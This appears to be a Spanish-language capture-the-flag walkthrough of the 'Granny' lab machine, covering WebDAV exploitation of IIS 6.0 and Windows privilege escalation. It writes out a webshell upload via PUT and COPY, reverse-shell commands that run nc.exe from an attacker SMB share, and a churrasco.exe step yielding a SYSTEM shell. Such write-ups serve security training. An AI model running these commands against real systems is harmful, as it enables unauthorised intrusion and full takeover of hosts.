Granny

Reconocimiento
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-23 08:47 CEST
Nmap scan report for 10.10.10.15
Host is up (0.042s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
|_http-title: Under Construction
| http-methods:
|_ Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
| http-webdav-scan:
| WebDAV type: Unknown
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
| Server Type: Microsoft-IIS/6.0
| Server Date: Mon, 23 Sep 2024 06:47:39 GMT
|_ Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|_http-server-header: Microsoft-IIS/6.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.08 seconds
Cuando vemos que el método PUT y COPY esta habilitado podemos hacer una explotación que se basa en subir un archivo con la extensión que nos permita la web y una vez subido con el método copy cambiarlo a una extensión con la que se pueda hacer una reverse shell como .aspx ya que estamos en un IIS 6.0.
Explotación
Primero debemos de comprobar que extensiones son las que dejan subir en la web con davtest
davtest --url http://10.10.10.93/

Como podemos ver en el output solo nos deja subir a la web las extensiones .txt y .html así que una vez con esta información lo que vamos a hacer es subir el siguiente archivo:
cp /usr/share/webshells/aspx/cmdasp.aspx .
mv cmdasp.aspx cmdasp.aspx.txt
Una vez con este archivo ahora con cadaver vamos a subirlo y luego le vamos a quitar el .txt de la siguiente manera:
Primero lo subimos con el método PUT:

Segundo le cambiamos la extensión con el parámetro COPY:
copy cmdasp.aspx.txt cmdasp.aspx

Una vez con esto hecho ahora si nos metemos en la página web podremos ejecutar comandos:

Para ejecutar la reverse shell lo vamos a hacer de la siguiente manera:
Copiar un nc.exe y llevarlo a nuestro directorio de trabajo:
cp /usr/share/windows-resources/binaries/nc.exe .
Abrir un servidor con smbserver
impacket-smbserver smb . -smb2support
Ponerme a la escucha por el puerto 443
rlwrap nc -nlvp 443
Ejecutar la reverse shell en la ejecución remota de comandos:
\\10.10.14.2\smb\nc.exe -e cmd.exe <mi_ip> 443
Escalada de Privilegios
Haciendo el reconocimiento inicial de escalada de privilegios en windows al ejecutar el comando:
whoami /priv
Encontramos que el privilegio SeImpersonatePrivilege
esta Enable
lo que significa que podemos hacer una escalada de privilegios, al ejecutar el comando systeminfo
veo que es un Windows Server 2003 por lo que voy a utilizar el siguiente exploit:
Nos lo descargamos y con smbserver lo subimos:
# Máquina atacante
impacket-smbserver smb . -smb2support
# Máquina víctima
copy \\<mi_ip>\smb\churrasco.exe churrasco.exe
Con el siguiente exploit tenemos ejecución de comandos como nt authority/system

pero lo que realmente queremos es una shell como nt authority/system
que la vamos a conseguir de la siguiente manera:
Con el impacket-smbserver todavía abierto, nc.exe en el directorio y un puerto abierto con
rlwrap nc -nlvp 4444
ejecutamos este comando dentro de la máquina:
churrasco.exe \\<mi_ip>\smb\nc.exe -e cmd.exe <mi_ip> 4444

Última actualización